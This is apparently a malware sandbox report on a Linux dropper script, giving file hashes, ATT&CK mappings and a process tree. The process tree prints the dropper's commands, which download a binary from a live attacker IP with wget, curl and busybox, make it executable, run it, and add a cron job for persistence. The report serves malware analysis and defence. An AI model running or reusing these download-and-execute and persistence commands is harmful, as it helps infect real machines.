91f347e4dbea2b9e58273e262a94e7b0198f795050e3461c25fd3a5b4454e63f

Analysis

max time kernel
8s
max time network
22s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 16:26

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General

Target

bins.sh
Size

10KB
MD5

44dbdf99e6e4adb46218f00c0a9b4062
SHA1

6179b5866f487612dcd78a791cb78ed5096f3e28
SHA256

91f347e4dbea2b9e58273e262a94e7b0198f795050e3461c25fd3a5b4454e63f
SHA512

701d0e91d596ff158c4717923a5279da562597e0e7a974adec6ce26a0647954d8cb13b13440f5a97faba176fca7ea657e045034d24006fe2d919d4559811a07f
SSDEEP

192:myJypybUAnwuwiwONfVQ7uiUay+zm7mfmvKaI7TXH79lUgQDUcM8HhHhHEhD7XDC:zIobUASoF6OvKaI/12FFEhDcu6OvKaoj

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1528	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	1529	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Renames itself 1 IoCs

pid	Process
1530	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.QSM7CQ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1615/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1544/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1031/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1316/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1563/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/477/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/971/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/586/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1287/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/167/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/543/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1595/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/22/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1549/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1577/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/168/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1084/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1571/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/172/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/169/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1161/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1614/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/89/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/534/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1346/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1619/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/454/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1556/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1147/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1542/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1546/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/15/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1131/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1564/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1582/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/161/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/977/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1026/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1552/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1589/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/733/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1102/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1183/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1545/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1617/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/82/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/740/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/417/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1202/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1565/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1586/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1603/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/29/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/163/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1051/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1191/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1588/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/25/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/655/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1201/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1580/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/1598/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/610/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
File opened for reading	/proc/505/cmdline	C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	wget
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	curl
File opened for modification	/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1519
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  ./C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1529
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1531
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1532
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1533
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1534
- /bin/rm
  rm C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
  2⤵
  PID:1536
- /usr/bin/wget
  wget http://87.120.125.191/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
  2⤵
  PID:1539

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.QSM7CQ

Filesize
210B

MD5
5894ce6968e0e2e4d1287c5a4c384698

SHA1
d671bd77ec193a607c99861557c5f6ab74d397bb

SHA256
d5ffa4432cbf36b3eaaff91973519f7a278e7c7da73e28b209e25115a9124e45

SHA512
22eea0bb3fa707949a8c5bc7f84a887e9259539c60f4153202585b5a7e512e059f43740eef649027ed29b6287cff1bee9994f0fdc898a41617fd8ea30d5f08f9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads